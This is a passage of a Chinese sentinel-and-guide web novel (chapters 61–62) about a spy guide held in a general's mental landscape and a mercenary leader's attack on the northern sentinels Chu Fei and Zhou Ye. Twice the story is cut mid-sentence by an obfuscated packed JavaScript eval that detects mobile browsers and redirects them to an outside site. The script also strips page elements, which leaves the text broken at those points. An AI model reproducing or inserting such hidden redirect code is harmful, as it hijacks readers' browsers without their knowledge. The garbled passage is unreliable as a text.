晏泽的手突如其来地抬起,直直朝着白狼的肩头按去,出于S级哨兵的战斗直觉,希里斯立即抬手格挡,双方眼看就要动手。一股巨大的精神力忽然袭来,如同骤然而起的海啸一般冲击着哨兵的头脑,剧痛使得希里斯一阵闷哼,他身上的伤口还没有好全,竟一时间失去了力气,被晏泽制住。 站在几米后的薇拉见此场景,吓得脸色发白,她还没来得及上前,便同样感到了一阵剧烈的疼痛与嗡鸣,脑袋像是到了炸裂的边缘,她痛到一个趔趄抵在了身后的墙上。 希里斯最近一直被五感过载的痛苦折磨,几乎虚弱到了极限,精神力攻击仍旧没有停止,直到他被迫单膝跪地,冷汗霎时湿透了全身,淋淋漓漓地落了一地。 晏泽的手仍旧不轻不重地按在他的肩头,深蓝的眼眸闪烁着斑斓可怖的光,白狼的感官被向导拉到了极致,尖锐的五感瞬间将他的身体贯穿,哨兵剧烈颤抖着,几乎立即被逼到了失控的边缘。 晏泽终于收回了他的精神袭击,希里斯大口喘息着,身体仍旧在痛苦的余韵中微微颤抖。 “你的手术是我做的,我很清楚预留的缺口所在的位置。”晏泽撤回了那只按压在哨兵肩头的手,神情冷淡地拂了拂:“现在的状况很关键,不得不逼你一下。” 冷色的朝阳刺破了灰暗的穹隆,洒下一道微弱的白光,上将从容地扣上敞开的领口,刚才那阵锐利无比的精神攻击,将本就状态不稳的哨兵刺激到几近失控,晏泽朝后一伸手,一位研究员便立即眼疾手快地递上了一瓶药剂。 修长的指节按上了哨兵的后颈,尖利的长针朝着脊髓扎了进去,五感的失控使得痛觉被无限放大,希里斯紧咬下颌,硬是没有发出半点声响。 “你脑袋中的金属夹片已经快到使用期限了,最近挺不好受的吧。”晏泽一边按压着他的脖颈,一边缓慢地注射着药剂,他的身上弥漫出淡淡的消毒水味,在注射完药剂后,将空掉的瓶子和注射器朝着后面的盘子一放。 “这个药剂能缓解你现在的状况,不想失控捏爆下属和心爱女人的脑袋,最好乖乖同我合作。”上将的声音如同鬼魅一般游弋在希里斯的耳畔,一管药剂下去后,哨兵果然渐渐停止了颤抖。 “现在你已经到了极限,想必韩奕也好不到哪去,遗憾的是,他手下还有两个S级哨兵。”晏泽的瞳孔闪烁着幽微的光:“我替你解决维塞克那个,名叫楚飞的哨兵在卡利斯特,你去把他解决了。”他的指尖摩挲过冰冷的药剂瓶,语气淡然地命令道:“除掉他,再回来到我这儿拿药。” “顾小绒可以还给你,不过我得提醒你一下,她现在正处于第一次‘逸散’状态。”晏泽的冷然的语调中带有一丝若有似无的温柔:“不想让她死的话,带上一个我的研究员……瑞安,你去。” “是,长官。”一位身穿白大褂的年轻人随即回应道。 “你现在的状态需要有向导,整个帝国匹配过S级的向导已经没有几个了。”沉眠中的向导已被推了出来,晏泽的目光朝着她看去。冰蓝的冷光中,女孩的面容瘦削苍白、几近透明,右腿以下的被子突兀地空了一块,是已经截掉的小腿。她银色的长发铺展开来,清冷得如同冬日晨时的朝露,仿佛转瞬便将消散。 希里斯沉默地听完了晏泽的命令,从地上缓缓起身,他走到顾小绒身前,女孩身上插着的管子已经全被卸掉,只是身上还留有细密的针孔,她的头发还湿着,将身下的枕垫浸湿了一大片。 希里斯已经缓过了刚才的那一波过载,他伸手缓缓解开捆缚着向导的束缚带,将她横抱而起,侧身走过晏泽身边。 回到泽卡的一整个路途中,薇拉都不敢发出一丝声响,即使是回到车上面对好友露娜疑惑的神情,她也只能摇摇头。 希里斯将昏迷的向导抱上急救车,她的身体柔软而单薄,轻得仿佛一片羽毛。那个被晏泽点来跟随的年轻小伙子明显有些害怕,在希里斯的注视下,他这才抖抖索索地给双手消毒、并带上手套,将急救车上各类管道与针剂重新连上向导的身体,他带着一个特质的箱子,里面装满了所需的药剂,包括给希里斯的那一部分。 薇拉还没能从刚才强力的精神攻击中恢复,再加上路途的颠簸,她生平第一次在车上吐了出来,露娜眼疾手快地用袋子给她接住,意识到情况不对劲的她也陷入了沉默。 做为还保留自我意识与精神对接口的哨兵,她们也曾经同“黑暗向导”对接过,对接之前需要持续五日注射稀释后的催化剂,以达到轻微的亢奋状态,所以事实上,她们就是北方所称的“高智能狂化哨兵”。 虽然她们都有与“黑暗向导”对接的经历,不过她们从来没有看到过“黑暗向导”究竟在哪里,只知道每次“通道”打开之后,向导的精神力总会精准无误地与自己对接上,就好像身边确实有那样一个人存在似的。 正常的向导她们见过,“黑暗向导”也勉强算是见过,而这一次,眼前的向导仿佛正处于两者的交界状态。薇拉毫不怀疑,如果不是希里斯连夜赶往晏泽在德兰的实验室,她们很可能永远无法再见到顾小绒了。只是此时顾小绒是什么情况,之后是否还能苏醒过来恢复如初,她们不得而知…… 德兰位于泽卡的西南部,两地相聚百余公里,几乎还没有到中午他们就已火速赶回了泽卡。 希里斯随即开始安排人员前往东部战线,这一次的目的只有一个,那就是杀掉北方的S级哨兵楚飞。森蓝的投屏上出现了四个放大的头像,其中有一对哨兵与向导长着相似的金色头发与紫色眼睛,头像下面的资料栏里跟着姓名与职级,看情况名为莱安的北方军上将仍旧牢牢把持着东部战线的优势,不过根据情报显示,他和他的哨兵目前身处的位置是阿维隆。 另外两位重要的哨兵向导则驻守在卡利斯特,在场的每一位核心成员几乎都领略过他们的恐怖,没有数据统计楚飞和周烨一共杀了多少南方哨兵,总不下好几百人,阿维隆也是在这两人的手下被北方硬生生夺走的。上一次失败的突袭里,希里斯就是因为状态不稳被楚飞击伤,而薇拉也差点死在周烨手下。 一想到这次的任务是杀了他们,难度系数几乎比直接拿下阿维隆更大,会议室里一时鸦雀无声。 “没有问题的话就散会。”希里斯的双眼下有大片的鸦青,在药剂的作用下,他这几天状态平稳了许多,人却显得更加消瘦。 “那个……我想请问一下,这次与我们对接的向导是哪位?”薇拉弱弱举手,问出了大家都想问的问题。 “还是‘她’。”希里斯惜字如金地答道。 “好的……”薇拉重新缩了回去,这个“她”应该就是那个一直在东部战线与他们对接的“3号向导”。他们并不知道“她”更多的资料,也不知道她的精神体,只是据某些精神力还算匹配的哨兵说,看上去仍是某种小体量的、会飞行的动物,总体来说呈现黑色。 “3号向导”较为温和,不至于像“1号”蝴蝶那样不可控,在之前的数次对接里,光是因蝴蝶自身失控而被永久精神损伤、甚至殒命的哨兵都有好几位。但也正是因为如此,“3号”在战场上对敌方的精神攻击力也有些不够,尤其是那些格外强大的敌方向导,甚至能发动反击…… 毕竟那位名叫顾小绒的向导,从第一次与“蝴蝶”交手时,就已经有能力朝她发起反击了。 如果敌方还有如此强大、甚至更加强大的向导,那么他在发起全面反击的时候,是否有可能反杀我方向导?毕竟,现在薇拉和其余哨兵或多或少都有感知到,现阶段所谓的“黑暗向导”力量也绝不是不可战胜。 只是在现在这样的节骨眼上,她还是明智地选择了保持沉默。 杀掉S级哨兵楚飞的任务同往常一样分为A计划与B计划,A当然是直接要了他的性命,而B则是更加迂回的方式——干掉他的向导。毕竟解决掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055899|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个A级向导比解决掉一个S级哨兵具有更大的可能性,有相当一部分哨兵无法承受向导死亡后带来的连接破裂,他们也只能期望于楚飞无法挺过来,就像曾经企盼某位棘手的黑暗哨兵不要再挺过来一样。 “那……老大。”想到这里,一个更为可怕的念头攥紧了曼琳的心脏:“有没有可能,我是说万一,那位少将有可能会来吗?” “不可能。”希里斯摇了摇头:“韩奕才参加了瓦尔塔那的前线战争,不可能立刻调往东部。” “可他不是黑暗哨兵嘛?”薇拉继续头铁,毕竟在瓦尔塔那被韩奕暴杀了68人,后续重伤死亡的人数也攀升到了12人,实在是太可怕了。 “黑暗哨兵也是人,他也会累的。”希里斯垂下眼,他的目光带有一分罕有的疲惫。 “哦……” 他会累,你就不会累吗……薇拉嘴角微微一抽,心里开始打鼓。 散会后,大家各自前往注射室,他们将从今晚开始注射催化剂,为作战做准备。 与往日不同的是,这一次需要注射催化剂的哨兵里还有希里斯,尽管他的注射是秘密私下进行的。做为南方叱咤风云的雇佣兵首领,希里斯从来以接近黑暗哨兵的完全自控力示人,他在作战时从不需要向导的辅助,这还是破天荒的第一次。 知道这件事的只有白狼的心腹,薇拉和露娜默然看着身形逐渐瘦削的男人露出嶙峋的脖颈,希里斯苍白的肌肤上覆盖着大片淤青,双眸更是因为负伤和感官过载而布满血丝。做为白狼近身的核心人员,她们能察觉到最近老大注射的药物剂量有多大。 粗长的针头扎进血肉,冰冷的药剂一刻不停地输送进体内,希里斯面色平静地注射完后,就头也不回地朝着金属走廊的深处走去。 在防护与安保最高的的地下密室里,顾小绒静静躺在床上,身上接满了各类导管。年轻的科研员正逐一检查着数据与药剂,向导的头上罩一个未知的环形装置,看上去像是某种检测仪器。 “情况如何?”希里斯注视着向导沉睡的脸,开口问道。 “很稳定。”名叫瑞安的年轻人已检查完了所有的数据:“她的精神力十分强大,兼容度很高,这一次‘逸散’状态的顶峰将会在五天后到来,期待她的表现。” 无论顾小绒能不能成功渡过“逸散”、变成下一个“黑暗向导”或是别的什么,都不会影响到南方的战略布局,毕竟除了她以外,还有源源不断的备用向导也正在“逸散”的过程中。原本渺茫的实验进程,在悠久的岁月与艰苦的沉寂后,终于迎来了爆发式井喷的结果,原本殊死的战局出现了从未有过的反转,南方军第一次看见了希望。 不过,第一次“逸散”也只是开始,她需要经历多次“逸散”状态,直到达到极值才有可能进入到最终的形态。能活着达到这种形态的向导十分稀少,南方倾尽所有资源数十年,也只得来了三个。 年轻研究员用眼角余光瞟了下希里斯,如果眼前这位向导真的罕见地挺过了“逸散”的极值,晏泽必然不会放手,那时候如果白狼仍旧阻碍,那么想来也到了除掉他的时候…… 想到这里,研究员的目光因为惧怕而向下垂落,他只是一个身份低微的研究员,无意被卷入军阀高层彼此之间的争斗,只盼望着自己能尽快从漩涡中脱身。 希里斯也确实没有给他一点多余的目光,在确定顾小绒的生命体征趋于平稳后,白狼便转身离开了全封闭的地下密室,森冷的金属大门缓缓打开,年轻研究员不由抬了下眼。做为普通人,他无法判断眼前的红发女人是哨兵还是向导,只觉得她的容貌美丽异常,令他不自觉地多看了几眼。 晦暗的白光将希里斯的轮廓勾勒得冷峻无比,白狼的身形隐匿在光与影的交界中,如同一把静默的、寒光闪烁的刀,可他注视着眼前那个红发女人时,冰绿的眸子却分明是温存的。 “如果我回不来,你就快走,什么都别管。”他看见白狼的手抚上女人的脸,对她轻声说道。 61. 第六十一章 连续好几天,晏泽都没有再回到这座城堡里,自从他离开后,原本温暖宁静的晴天也变得阴雨连绵。 望着窗外被打湿得一片泥泞的花园,顾小绒只得在空旷的城堡内部四处走走,她的腿伤已恢复了很多,可以撑着拐杖缓慢的移动,城堡的内部面积太大了,以至于她慢慢走完所有地方花了些时间。精神力探查与亲眼所见的结果几乎大差不差,顶楼那几扇黑门也仍旧打不开。 在又一次试图推开顶楼的黑色门扉失败后,顾小绒倚靠在石砌的楼梯上,让目光落向了远处的原野。雨已经下了很多天,远处的尽头只有一片白茫的雾气,就好像即使是晴天时,她也仍旧看不清天际的尽头一样。 这里的天气就像是随着晏泽的心情一般不断变化,做为一个尚且算是合格的向导,她已经逐渐意识到了这里应该就是晏泽的精神图景。 在某个天际暗淡到极致的时分,她甚至还看见了一些黑色的汁液如同触角般渗透进城堡里,那应该是晏泽失控的精神力,此时她所身处的场景苍白干枯,仿佛死寂的池水。 顾小绒最后回忆了一下给「尾鸦」发送的消息,反复推敲细节,仍旧无法推测自己是否暴露身份。她现在被限制在这个精神图景里,只要晏泽愿意,他可以永生永世将她囚禁。 自己是不是已经走到了艾丽西娅曾经走到的地方?蝴蝶已经消失,下一个要消失的也许就是她自己…… 考量了所有可能的最坏结局,顾小绒还是没有放弃,既然她还有自我意识,那么任务就还没有失败。 从这个精神图景的细节与构建程度,顾小绒能判断出晏泽应该是一位力量近乎于S级的向导,这是组织之前就曾有过的推论。 曾经最靠近核心区域的间谍、代号为「明翼」的15620号上尉艾丽西娅,为组织提供了晏泽与黑暗向导实验的相当一部分数据,这些情报使得顾小绒在面对如今的场景时并没有过于慌乱。 根据艾丽西娅提供的信息,“2号向导”晏殊是晏泽的亲妹妹,这应该是一个突破口,于是在接下来的每一天,顾小绒都会来到顶楼这道无法打开的黑门面前。 靠着巨大的门扉坐下,将耳朵贴在那上面小憩,顾小绒凝神屏息,让自己的精神力缓慢而细致地释放开来,虽然在第一天,她并没有什么收获。这样耐心的重复一直持续到第三天的下午,那道门扉才传来了一声极其微弱的回应,顾小绒猛地睁开眼,她能听见刚才那一瞬来自深海的低吟。 她将手贴到了那扇门扉上,此时冰冷的大门已沾染了她的体温,甚至变得不再那样坚硬,隔着遥远的另一端,她能感觉到有什么东西也将自己贴到了门扉上。向导放缓了自己的呼吸,仿佛连心跳都已静止,她合上眼眸,只感到自己周身轻盈,如同沉溺于温暖的海洋深处。 而后她感知到了那扇门扉之后的精神体,回应她的,是一只通体晶莹、散发着白色微光的水母触角。 那是……晏殊? 她究竟是经历了什么才变成现在这样的,艾丽西娅也和她一样么……顾小绒垂下眼。 在第一次成功感知到小水母的回应后,顾小绒几乎每天下午都会去陪她坐一会儿。“她”仍旧不能说话,可她却能感觉到她还活着,她温暖的精神力正如同心跳一般,透过紧闭的门扉朝着她缓缓传递过来。 这些日子里,除了陪小水母,顾小绒也在竭尽全力地、试图从艾丽西娅曾经传递的情报里琢磨出一丝半点的真相。她数了数眼前的黑色门扉,目前一共有四扇,既然能感知到做为“黑暗向导”的小水母,那么,已经失踪许久的艾丽西娅与另一位“3号向导”是不是也在其他的门扉后面? 如果继续找下去,自己是不是能找到失踪的艾丽西娅?也不知道她现在是什么状态,是否还留有自我意识。 遗憾的是,还没有等顾小绒有时间将这一切探知完毕,这座城堡的主人就已经回来了。 晏泽湿漉漉地走进大门,将伞放到一边,他既没有穿军服也没有穿白大褂,而是穿着一件深灰色的厚呢大衣,他今天带着一副金丝眼镜,水汽已氤氲着沾湿了镜片。他的怀中还抱着一束白色的玫瑰,馥郁的花香瞬间充满了室内,因为大雨,花瓣上沾上了晶莹的雨水。 见此情景,顾小绒准备从沙发上起身帮忙,她刚刚洗完澡,正坐在那里擦头发。见她如此举动,晏泽忙上前两步按住了她的肩膀,示意她别动。 很快,他便将玫瑰插入了长桌上的玻璃瓶,转身换下了湿掉的衣服,并且拿上了一个小型的吹风机。 温暖的指尖毫无征兆地落到顾小绒的头上,轻柔地按压着,晏泽的力道刚刚好,热风贴在不远不近的地方,很快就将头发吹干了。忙完这一切后,属于医生的职责才使得他半跪在顾小绒身前,替她检查腿部的伤口。 这整个过程中,二人彼此都没有过多的话语,做为精神图景的主人,晏泽不可能不知道顾小绒这段时间以来的动向,她原本准备了好几份备案想要试探晏泽的反应,却发现对方像个没事人似的,没有露出一丝一毫的反常来,这反倒使得顾小绒有些不安。 按照常理,晏泽难道不是应该是标准的冷酷大反派,将她五花大绑、生吞活剥地拆了去做可怕的实验吗? 还是说他已经在现实里这样操作了,只是自己在精神图景中还不知道? 她的心中升起一丝细微的恐惧,在晏泽忙来忙去、最后抱出一个毛绒毯子将她裹住后,她终于低声试探道:“那个……你不在的时候,我去了顶楼。” 晏泽的动作仍旧平稳,他替顾小绒调整好背后的抱枕,将她的身子轻轻放了上去。 “我知道。”他淡淡答道,语调与眼神仍旧温存。 “对不起。”顾小绒决定以退为进,她谨慎斟酌了一下,开口道:“但她看上去十分孤独……” 晏泽在她的身旁坐下,微微垂下了头,那一瞬的阴影使得她没有看清他的神情,只是在片刻后才答道:“小殊确实一个人待了很久,谢谢你……能够陪她。”他的声音有片刻的停顿,目光随后抬起,落到了顾小绒的面容上:“有没有人说过,你真的是一位很优秀的向导,也是一位很优秀的间谍。” 顾小绒的内心轰然一下,面容却强装镇定,她丝滑无痕地露出一丝苦笑:“哪里优秀了,被韩奕识破后差点丢了性命。” 晏泽仍旧淡淡地望着她,金丝眼镜将微光折射成近乎温柔的弧度。 “上将,我一直想问……” “晏泽。”对方轻声打断道:“叫我晏泽。” 随着晏泽的回归,这个岑寂而灰暗的世界又恢复了光彩,斜阳将金色的余晖染满了天穹,晏泽的身影被窗外的虹光笼罩,那双深蓝的眼眸第一次绽放出如此的华彩来。 “好吧……晏泽。”顾小绒深吸了一口气,她不敢赌自己还有多少时间,只能抓住眼下转瞬即逝的机会:“我想问问,你是不是在现实世界里已经把我大卸八块了?” 真诚果然是必杀技,晏泽被她如此直白的话语惊到,一时哑然失笑。 “有吗?”顾小绒的语调虽然是疑问,她的目光却十分平静,像是已经做好了所有的准备。 晏泽伸手揉了揉她半湿的鬓发:“你觉得我是这样的人?” “因为只有这样做才符合你现在身处的位置和利益。”顾小绒不为所动,淡淡开口。 对方的怀中晃过一道流光,顾小绒的目光往下落去,那是一条玫瑰金的项链,中心的坠子是一个近似于圆的形状,外环将其托举其中,如同果实,也如同圆月。 晏泽叹了口气,修长的指尖扶了扶金丝眼镜:“你这样聪明,要不要猜猜现在的情况?” “……”对方这样问,也许是想要看看自己是不是上得了谈判桌,顾小绒仔细思索了一下,决定搏一把:“你觉得你的实验还没有完全成功,是不是?” 现在所存在的3位向导,在此之前都是A级,“她们”的力量始终无法达到真正的“黑暗向导”状态,尽管可以阶段性地缓解南方向导稀缺的状态、提升战力,却没有决定性翻盘的力量,最显著的特点便是,她们谁都无法真正控制住S级哨兵。 晏泽沉默了数秒,那双深蓝的眼如同初见时那般注视着她,良久才苦笑着点点头:“很接近了。” “A级向导的力量无论如何都无法提升到更高层级,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“让我抱会儿。”晏泽的鼻息紧贴着她的后脖颈,他将自己埋入了那片柔顺的银发里。 许久之后,感知到对方放松了钳制的力道,顾小绒才挣了挣脱开了身来,晏泽已取下了眼镜,神色也恢复如常。 “我……很像你妹妹吗?”她不得不问出这个埋藏了很久的问题。 “嗯,有的时候。”晏泽竟然没有否认,坦然答道。 对方虽然一直把自己困在精神图景中,但这段时间以来的温存与细致却是真的,顾小绒能明确地感知到他浓烈的情感,她知道他在通过自己望向另一个人。也许即使是他,也无法打开那扇紧紧关闭的黑色门扉,顾小绒想到。 “你既然已经猜到了那么多,那么好吧,我答应和你谈谈。”晏泽早已洞悉了她心底的想法,只是直到现在才开口:“过一会儿会有人来接你,等你再次回到我身边时,我会把真相告诉给你,这样可以吗?” 他最后的语调轻柔到甚至带有一分缱绻,仿佛是在哄孩子。 “好。”没有任何犹豫,顾小绒应了下来。 “可以再陪我共进一次晚餐吗?”晏泽瞥了一眼墙上的挂钟,提出了最后的请求。 一个小时后,顾小绒将银质刀叉轻轻放在桌前,她的目光不自觉地落在了那束玫瑰身上,纯白的花瓣在夜色中莹白如雪。 “原来你更喜欢鲜花。”晏泽也放下了刀叉,动作缓慢而矜持,他们都不由想到了那个被顾小绒拒收的钻石玫瑰。她后来也在这栋城堡里发现过那朵钻石玫瑰,只不过已经被晏泽随意地丢弃在了杂物间里,出于愧疚,顾小绒还是将那个精美的首饰盒收拾了一下,找了个柜子放进去。 夜幕降临后,短暂的光芒一闪而逝,黑暗的穹隆重新密布起阴云。 晏泽没有开灯,那盏华美的水晶吊灯高悬在他们顶端,折射出冰冷的微光。上将望向窗外,他不再说话,整个人如同雕塑般隐匿在阴影里,他的面容透露出一丝沉郁与哀伤,这种气质的底色在此刻仿佛浸染了他的整个灵魂。 “他来了。”晏泽望向门外,而这一次,敲门声伴随着话音的尾梢准时落下。 62. 第六十二章 顾小绒轻轻推开城堡的大门,寒夜的冷寂使得城堡的城墙与底板都结上了一层霜雪,映入眼帘的是一道出人意料的身影。 “希里斯?”她有些微怔,深黑的夜幕下,希里斯一身战服,正提着一盏昏黄的灯光站在门前。密布的乌云没有散去,哨兵的身形高阔挺拔,仿佛缄默的岩石融在深黑的夜里。周遭的景色变得模糊而遥远,此时他们彼此之间,只有那盏灯映照出的一点微光。 “怎么?在这儿待得很开心?”仍旧是熟悉的冰冷语调,她几乎立即确定了是希里斯本人。 顾小绒朝前几步,将城堡的门轻轻合上,她的右腿上还装着晏泽给她的义肢,走起路来与以前几乎没有差异。 “去哪?”见对方头也不回抬腿就走,她不由问道。 “当然是替我办事,你也休息够久了。”白狼头也没回,冷冷答道。 见对方没有丝毫要停来等她的样子,顾小绒只得赶紧跟上。 他们朝着前方黑色的迷雾中走去,哨兵的速度不慢,却总是保持在她前方两米不到的距离,手中昏黄的灯光微微摇曳着。这是顾小绒第一次见希里斯穿黑色战服的样子,这把华美的利刃褪去了一切装饰,只留下最本质锋利的模样,寒芒自刀口闪过,如同转瞬即逝的星子。 一路无话,不知走了多久,那阵迷雾与乌云这才散去,一缕清冷的银色月光洒下,落在二人的身上。 “你知道现在是什么情况么?”雪光将哨兵的侧脸照映得棱角分明,他垂下眸子,目光几近清冷。 “……”顾小绒沉默了片刻,才整理好了字句:“刚才还明白,现在不太明白。” “哦?”白狼顿住了步伐,朝着她望了一眼,那双幽绿的眼盛着雪白的月光,像是淬着冰。 “我应该是一直在晏泽的精神图景里。”顾小绒的目光冷了下来:“所以你是怎么来的?我们现在在哪?” “可以,不愧是选出来匹配给韩奕的向导。”希里斯的面容掠过一丝短暂的欣赏,他没有回答她的问题,只是继续往前走去。 “那至少告诉我接下来要做什么。”顾小绒仍旧坚持。 “我现在的状态需要向导辅助,你试试用精神力与我对接。”白狼淡淡开口命令道。 他不是向来不需要向导的辅助么?顾小绒有些惊异,借着明亮的月光,她这才察觉到对方的轮廓似乎瘦了一些,眼下也有着大片鸦青。 在对方的指引下,她艰难地找到了那处隐秘的精神缺口。被人为改造过后,哨兵的精神屏障几乎无坚不摧,只留下了一个很小的连接口。即使是兼容度高如此之高的顾小绒,也是费了很大的力气才与他勉强连接上。 进入的过程有些痛苦,由于对接口十分狭小,顾小绒不得不用了些力气,她听见希里斯发出一声闷哼。 哨兵的视觉使得眼前的场景变得更加清晰明亮,虽然他们的连接程度不深,但也够应付。 对方没有回答自己的提问,顾小绒准备换个方式开口,希里斯却先问道:“你是和楚飞、周烨一起服役的,对他们应该很了解吧?” 楚飞是韩奕的学生,她是韩奕的向导,彼此怎么可能不了解?顾小绒知道对方在明知故问,但其中透露的信息又让她不得不提高警惕:“你要做什么?” “履行你曾经和我定的合约。”希里斯的嘴角扬起一丝冷冷的弧度:“我们先进行第一步,拿下临近阿维隆的卡利斯特。” “楚飞和周烨驻守在那里?”顾小绒问道。 “正确。”希里斯微一点头:“说说你对那个周烨的了解程度吧?” “我打不过他。”顾小绒言简意赅地回复道:“他是中央公会最强的攻击型向导,没有之一。”终于还是走到了兵戎相见的这一幕,顾小绒的骨节缓缓收紧。 “这么怕他?”希里斯冷冷一笑:“看来平日训练被收拾得不少。” “……”顾小绒选择保持沉默。 “你不用打过他,替我承担住他的精神力攻击就行。”白狼收敛了笑意,语调重归冷淡。 “怎么?你们‘3号向导’不行啊?”这次换顾小绒开口了。 “哪有你行。”白狼呛人的功夫还是在她之上。 “你还没有回答我的问题,希里斯,我现在到底是什么情况?”顾小绒的目光沉了下来,这让她的眼睛看上去像是泛着冷光的深蓝湖泊。 “你很快就会知道。”他们终于停了下来,一道古老的拱门出现在旷远的黑色原野上,看上去如同一场荒诞而鬼魅的梦境,希里斯低头看了一眼时间:“半个小时后,你的‘逸散’即将到达峰值。” 哨兵扔出一句没头没尾的话,随后打开了那扇厚重的门扉。 空濛的黑暗在他们身后快速散去,清晰而真切的夜色猝然闯入顾小绒的视线,辽阔悠远的海浪声此起彼伏地传来,她竟然凭空出现在了卡利斯特军港。 如同白狼所说,她的心下霎时了然了几分,自己的猜测竟然是对的。她仔细分辨了一会儿,确定除了从绑定的哨兵身上能探寻到五感之外,她对自己的身体竟无从感应,那里一片虚无,自己仿佛幽灵一般飘行在希里斯的身边。 而后,通过白狼的视觉与听觉,她感知到了周遭潜藏的无数哨兵,他们都在黑夜的掩盖下朝着目标快速行进,动作警戒又迅速,一看便是智能体。一股陌生的精神力几乎是擦着她掠过,顾小绒偏头一看,一位哨兵正侧身绕到希里斯前方,他的身体上方跟着一只小巧的、带着翅膀的黑色精神体。 顾小绒凝神望去,只见每一位哨兵的身旁都跟着一只,那应该是……蝙蝠? 逐渐密集的蝙蝠群发出刺耳的噪音,准备万全的南方哨兵们也如同洪水一般朝着卡利斯特驻守的防御中心涌去,数量之多几乎倾巢出动,顾小绒心里一紧,希里斯是准备在这里与北方决一死战吗? 她试图触碰身旁的这位“3号”向导,却发现自己与她仿佛不在同一个空间,有什么无形的东西限制着她的走向与动作,她仿佛是在一个既定的狭窄甬道里,同“3号”并肩而行,彼此是永不交汇的平行线。 因为一路上都在感知和揣测着这一切的变化究竟是怎么回事,顾小绒甚至没有细致地看到希里斯潜伏进防御工程的过程,只是根据一丝细微的精神连接本能地跟随在他身边。 等到第一声微小的声响传来时,她才不得不将注意力集中到眼前的战场上,因为就在刚才,走在最前端的哨兵已经同北方交上了手。 希里斯此时所处的位置在整个庞大的哨兵潜伏队伍中,位于中间靠左后方的位置,在他们的面前有几乎30位狂化哨兵开路,他们将处理掉希里斯面前的障碍,确保最大限度地保全S级哨兵的体力。 短促的对弈与闷哼声更加密集地传来,红色的入侵警报尖锐地拉响,白狼以快到不可思议的速度朝着防御工程的核心靠近,不多时他们的眼前便出现了坚固的地下堡垒的一角。 一道黑色的身影带着凌厉的飓风闪身而至,对方只用了短短数秒便解决了眼前的三位南方哨兵。 楚飞的身影停在希里斯面前,他横握着手中的长刀,上面正一滴滴落着滚烫的血。泼散开来的血雾弥漫在密闭的金属空间里,对方的眼眸仍旧像是记忆里那般生机勃勃、熠熠闪光。 “希里斯。”楚飞的唇线紧抿,语调冰冷。他紧握住刀身,抬手起势,来自S级哨兵的顶级压迫感汹涌而来。 白狼冷冷拔出了身后的利刃,他微微眯起眼,眸中倒映出远方弥散开来的烈焰与火息。 只电光火石的瞬间,长刀破开暗红的夜色,裹挟着炽烈气流直直穿刺而来,刀刃瞬间碰撞到一处。反手斜劈与正下劈正面相对,二人的身影迅捷如电,凌厉的刀光如同雨幕般密集地落下,金属廊桥很快就被切成了碎片,钢筋发出尖锐的哀鸣,二人从尘埃四起的缠斗中从高处跃下。 某种程度上说,顾小绒应该感谢自己此时的无实体状态,若非如此,她绝无可能跟上哨兵此时的速度。 希里斯一记穿刺擦过楚飞的脖颈,霎那的绝杀令生与死失去了边际,楚飞以不可思议的速度偏头躲过了这一击,随后退半步、提刀格挡,他的发稍已被希里斯削去了几分,碎屑飘飞在灼热的空气中,伴随着熊熊的火光与爆破的声响。 一缕鲜血从楚飞的脸颊流下,顺着颈侧浸入衣襟,面对眼前这位刀法顶级的强敌,楚飞的动作不由变得审慎。 希里斯反手握刀,身影如同一道闪电,雪亮的刀锋细密而凌厉地落下,楚飞艰难应对着对方的攻势,猛兽的嘶鸣与刀刃的撞击此起彼伏。 顾小绒能看到蝙蝠群越来越多地汇聚在上方,几 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一股熟悉的、剧烈的精神力攻击猛地袭来,力量强大到顾小绒差点顶不住,她与希里斯的连接本就不深,这猝不及防的侵袭使得希里斯的步伐停顿了半秒,而这半秒也足够让楚飞调整过来,哨兵迅速稳住身形、闪避开了这道凶险的攻击。 一个矫健的黑影从上方飞驰而下,肘击连带翻身侧踢,一套连招行云流水、迅捷刚猛,两个正欲贴近的南方哨兵直接被踹飞了出去。周烨落在楚飞身后,二人并肩而立,他们此时几乎已被五六位南方哨兵包围,眼前还有一个极其棘手的S级。 顾小绒之前一直在若有似无地保全着希里斯的精神屏障,毕竟她不能在此时引起白狼的怀疑,只是没有主动出击。卡利斯特距离阿维隆的距离不过百余公里,对于战机而言是很快就能到达的距离,从入侵警报响起到现在已过去了将近10分钟,阿维隆的支援应该快到了。 只是楚飞与周烨此时几乎陷入绝境,看上去已支撑不了太久,顾小绒心下焦灼。 大概是同样感觉到了时限将至,希里斯闪身而上,雪亮的刀身反射着森蓝的寒光,利刃在刹那间直逼而来,刀刀直抵要害、令人无法喘息。而另一边,见向导现身,其余的南方哨兵几乎立刻围住了对方。所有人的视线都穿过了顾小绒所在的区域,如同穿过一片透明的空气。 直到此时她这才明白过来,希里斯从头到尾都没有关注过那个防御设施,他和他的部下所设计的这一套杀阵,正是针对楚飞和周烨的,他们今夜的目标并不是拿下卡利斯特,而是杀掉楚飞和周烨。 顾小绒从虚无的黑暗中感到一丝滚烫,她的大脑仿佛是在被炙烤,精神力无法抑制地外溢,这使得她对眼前复杂的精神力对决看得更加清晰。 集结的蝙蝠群从穹顶上方飞驰而下,试图袭击困境中殊死挣扎的哨兵,可一道金色的光芒忽然耀目地贯穿了视线,顾小绒被周烨如此强大而纯粹的力量震得周身迟滞,蝙蝠群带来的黑色漩涡被轻而易举地劈开。 有了周烨的助力,楚飞终于从被压制的状态中挣脱,在这短暂的间隙中刀刃横扫,血雨飞驰而下、直接了结了三位南方哨兵的生命,他们残肢四散迸射开来。 